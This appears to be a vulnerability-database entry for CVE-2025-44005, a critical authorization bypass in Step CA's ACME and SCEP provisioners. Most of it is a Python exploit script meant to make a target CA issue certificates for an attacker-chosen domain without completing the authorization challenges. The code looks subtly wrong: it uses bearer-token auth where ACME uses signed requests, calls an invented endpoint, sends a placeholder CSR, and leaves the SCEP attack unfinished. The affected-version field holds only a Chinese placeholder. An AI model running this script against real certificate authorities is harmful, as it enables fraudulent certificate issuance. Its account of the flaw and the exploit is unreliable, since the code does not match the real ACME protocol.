An attacker can bypass authorization checks and force a Step CA ACME or SCEP provisioner to create certificates without completing certain protocol authorization checks.
CVSS Details
CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Step CA < 修复版本 (请参考官方安全公告 GHSA-h8cp-697h-8c8p)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-44005 PoC - Step CA Authorization Bypass
# This PoC demonstrates the authorization bypass in Step CA ACME/SCEP provisioner
# Reference: https://github.com/smallstep/certificates/security/advisories/GHSA-h8cp-697h-8c8p
import requests
import json
import time
TARGET_HOST = "https://step-ca.example.com:8443"
ATTACKER_CONTROLLED_DOMAIN = "attacker-controlled-domain.com"
def exploit_acme_authorization_bypass():
"""
Exploit Step CA ACME provisioner authorization bypass
The vulnerability allows forcing certificate creation without completing protocol authorization checks
"""
print("[*] Starting CVE-2025-44005 Exploitation...")
# Step 1: Create ACME account
acme_endpoint = f"{TARGET_HOST}/acme/new-account"
account_payload = {
"termsOfServiceAgreed": True,
"contact": ["mailto:[email protected]"]
}
try:
response = requests.post(acme_endpoint, json=account_payload, timeout=10)
if response.status_code in [200, 201]:
account_data = response.json()
account_url = response.headers.get('Location', account_data.get('url'))
print(f"[+] Account created: {account_url}")
else:
print(f"[-] Account creation failed: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return None
# Step 2: Create authorization for target domain (BYPASS CHECK)
# The vulnerability allows bypassing the authorization challenge verification
order_payload = {
"identifiers": [{"type": "dns", "value": ATTACKER_CONTROLLED_DOMAIN}]
}
try:
order_response = requests.post(
f"{TARGET_HOST}/acme/new-order",
json=order_payload,
headers={"Authorization": f"Bearer {account_url}"},
timeout=10
)
if order_response.status_code in [200, 201]:
order_data = order_response.json()
order_url = order_response.headers.get('Location', order_data.get('url'))
print(f"[+] Order created (Authorization bypassed): {order_url}")
print(f"[+] Authorizations: {order_data.get('authorizations')}")
return order_url
except requests.exceptions.RequestException as e:
print(f"[-] Order creation failed: {e}")
return None
# Step 3: Force certificate issuance without challenge completion
# This is where the authorization bypass occurs
print("[*] Attempting to force certificate issuance without authorization...")
csr_payload = {
"csr": "BASE64_ENCODED_CSR_DATA",
"url": order_url
}
try:
cert_response = requests.post(
f"{TARGET_HOST}/acme/signed-terms-of-service-and-apply-for-certificate",
json=csr_payload,
headers={"Authorization": f"Bearer {account_url}"},
timeout=10
)
if cert_response.status_code in [200, 201]:
cert_data = cert_response.json()
print(f"[+] SUCCESS: Certificate issued without proper authorization!")
print(f"[+] Certificate: {cert_data.get('certificate', 'N/A')[:100]}...")
return True
else:
print(f"[-] Certificate issuance failed: {cert_response.status_code}")
print(f"[-] Response: {cert_response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Request error: {e}")
return False
return False
def exploit_scep_authorization_bypass():
"""
Exploit Step CA SCEP provisioner authorization bypass
Similar vulnerability exists in SCEP protocol implementation
"""
print("[*] Attempting SCEP provisioner exploitation...")
scep_endpoint = f"{TARGET_HOST}/scep/dp"
# SCEP GetCAInfo request with malicious parameters
scep_payload = {
"message": "SCEP Generic",
"senderNonce": "MALICIOUS_NONCE",
"recipientNonce": ""
}
try:
response = requests.get(scep_endpoint, params=scep_payload, timeout=10)
if response.status_code == 200:
print(f"[+] SCEP endpoint accessible")
print("[*] SCEP authorization bypass requires further protocol-specific exploitation")
except requests.exceptions.RequestException as e:
print(f"[-] SCEP request failed: {e}")
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-44005: Step CA Authorization Bypass PoC")
print("CVSS Score: 10.0 (Critical)")
print("=" * 60)
# Test ACME provisioner
result = exploit_acme_authorization_bypass()
# Test SCEP provisioner
exploit_scep_authorization_bypass()
print("\n[*] Exploitation complete. Check results above.")